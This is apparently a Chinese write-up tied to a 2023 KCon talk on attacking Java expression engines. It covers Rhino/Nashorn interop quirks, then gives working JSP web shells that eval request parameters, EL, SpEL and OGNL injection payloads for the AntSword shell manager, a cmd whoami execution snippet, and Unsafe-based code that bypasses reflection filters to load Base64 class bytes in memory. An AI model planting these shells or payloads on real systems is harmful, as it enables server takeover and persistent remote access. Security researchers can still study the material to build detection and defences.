//通过脚本名称获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); //简写为js也可以
//通过文件扩展名获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
//通过MIME类型来获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
或者通过eval的重载函数,直接把对象通过一个HashMap放进去
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))
前面加上全限定类名即可
var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;
//这种写法仅仅支持Nashorn,Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")
// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)
// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)
默认情况下,Nashorn 不会导入Java的包。这样主要为了避免类型冲突,比如你写了一个new String,引擎怎么知道你new的是Java的String还是js的String?所以所有的Java的调用都需要加上全限定类名。但是这样写起来很不方便。
这个时候大聪明Mozilla Rhino 就想了一个办法,整了个扩展文件,里面提供了importClass 跟importPackage 方法,可以导入指定的Java包。
- importClass 导入指定Java的类,现在推荐用Java.type
- importPackage 导入一个Java包,类似import com.yzddmr6.*,现在推荐用JavaImporter 这里需要注意的是,Rhino对该语法的错误处理机制,当被访问的类存在时,Rhino加载该class,而当其不存在时,则把它当成package名称,而并不会报错。
load("nashorn:mozilla_compat.js");
importClass(java.util.HashSet);
var set = new HashSet();
importPackage(java.util);
var list = new ArrayList();
在一些特殊情况下,导入的全局包会影响js中的函数,例如类名冲突。这个时候可以用JavaImporter,并配合with语句,对导入的Java包设定一个使用范围。
// create JavaImporter with specific packages and classes to import
var SwingGui = new JavaImporter(javax.swing,
javax.swing.event,
javax.swing.border,
java.awt.event);
with (SwingGui) {
// 在with里面才可以调用swing里面的类,防止污染
var mybutton = new JButton("test");
var myframe = new JFrame("test");
}
方法在JavaScript中实际上是对象的一个属性,所以除了使用 . 来调用方法之外,也可以使用[]来调用方法:
var System = Java.type('java.lang.System');
System.out.println('Hello, World'); // Hello, World
System.out['println']('Hello, World'); // Hello, World
Java支持重载(Overload)方法,例如,System.out 的 println 有多个重载版本,如果你想指定特定的重载版本,可以使用[]指定参数类型。例如:
var System = Java.type('java.lang.System');
System.out['println'](3.14); // 3.14
System.out['println(double)'](3.14); // 3.14
System.out['println(int)'](3.14); // 3
这也是当时一个坑点,看下面一段代码
var readonlyenv = System.getenv();
var cmdenv = new java.util.HashMap(readonlyenv);
var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
for (var i = 0; i < envs.length; i++) {
var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
if (es.length == 2) {
cmdenv.put(es[0], es[1]);
}
}
var e = [];
var i = 0;
print(cmdenv+'\n');
for (var key in cmdenv) {//关键
print("key: "+key+"\n");
e[i] = key + "=" + cmdenv[key];
i++;
}
其中cmdenv是个HashMap,这段代码在Java 8中Nashorn引擎可以正常解析,var key in cmdenv的时候把cmdenv的键给输出了
但是在Java 6下运行时,Rhino把他当成了一个js对象,把其属性输出了
所以涉及到这种混合写法就会有异议,不同的引擎有不同的解释。
解决办法使用Java迭代器即可,不掺杂js的写法。
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
//print("\nkey:" + key);
//print("\nval:" + val);
e[i] = key + "=" + val;
i++;
}
shell.jsp
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
甚至不用绑定request/response对象也可以
<%
out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));
%>
类型选择jspjs,密码mr6
<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>
打开蚁剑,jspjs类型,el编码器,一键连接。
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)}
jspjs类型,选择el编码器,一键连接
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)}
springboot设置一个测试环境,以spel为例
@RequestMapping("/spel")
public String eval(String spel){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
return expression.getValue().toString();
}
蚁剑选择spelbase64编码器可一键连接
(new javax.script.ScriptEngineManager()).getEngineByName("js").eval(code)
漏洞环境
@RequestMapping("/ognl")
public String eval(String str) throws Exception {
OgnlContext context = new OgnlContext();
Object ognl = Ognl.parseExpression(str);
Object value = Ognl.getValue(ognl, context, context.getRoot());
return value.toString();
}
选择ognl编码器,一键连接
new javax.script.ScriptEngineManager().getEngineByName("js").eval(code);
''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)
适用范围:jdk6-14
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
unsafe = theUnsafeMethod.get(null);
function bypass() {
var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
}
var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
}
function Base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
return bt;
}
function defineClass(classBytes) {
try {
unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null).newInstance();
} catch (e) {
bypass()
var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"),
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
);
var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
var cc = defineClassMethod.invoke(
java.lang.Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
cc.newInstance();
}
}
defineClass(Base64DecodeToByte(code));
适用范围:JDK6-14
function Base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
return bt;
}
function defineClass(classBytes) {
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance();
}
defineClass(Base64DecodeToByte(code));
适用范围:JDK6-14
try {
load("nashorn:mozilla_compat.js");
} catch (e) {
}
function getUnsafe() {
var theUnsafeMethod =
java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz) {
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(
clazz,
java.lang.Class.forName("java.lang.Class")
.getResourceAsStream("Class.class")
.readAllBytes(),
null
);
var reflectionDataField =
clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz, unsafe.objectFieldOffset(reflectionDataField), null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName(
"jdk.internal.reflect.Reflection"
);
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass
.getResourceAsStream("Reflection.class")
.readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(
reflectionClass,
classBuffer,
null
);
var fieldFilterMapField =
reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField =
reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (
fieldFilterMapField
.getType()
.isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
) {
unsafe.putObject(
reflectionClass,
unsafe.staticFieldOffset(fieldFilterMapField),
java.lang.Class.forName("java.util.HashMap")
.getConstructor()
.newInstance()
);
}
if (
methodFilterMapField
.getType()
.isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
) {
unsafe.putObject(
reflectionClass,
unsafe.staticFieldOffset(methodFilterMapField),
java.lang.Class.forName("java.util.HashMap")
.getConstructor()
.newInstance()
);
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject) {
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName(
"java.lang.reflect.AccessibleObject"
).getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(bytes) {
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(
java.lang.reflect.Array.newInstance(
java.lang.Class.forName("java.net.URL"),
0
)
);
try {
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName(
"java.lang.ClassLoader"
).getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"),
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
} else {
var protectionDomain = new java.security.ProtectionDomain(
new java.security.CodeSource(
null,
java.lang.reflect.Array.newInstance(
java.lang.Class.forName("java.security.cert.Certificate"),
0
)
),
null,
classLoader,
[]
);
clz = unsafe.defineClass(
null,
bytes,
0,
bytes.length,
classLoader,
protectionDomain
);
}
} catch (error) {
error.printStackTrace();
} finally {
return clz;
}
}
function base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.lang.Class.forName("java.util.Base64").newInstance().getDecoder().decode(str);
}
return bt;
}
clz = defineClass(base64DecodeToByte(code));
clz.newInstance();
2023KCon 《Java表达式攻防下的黑魔法》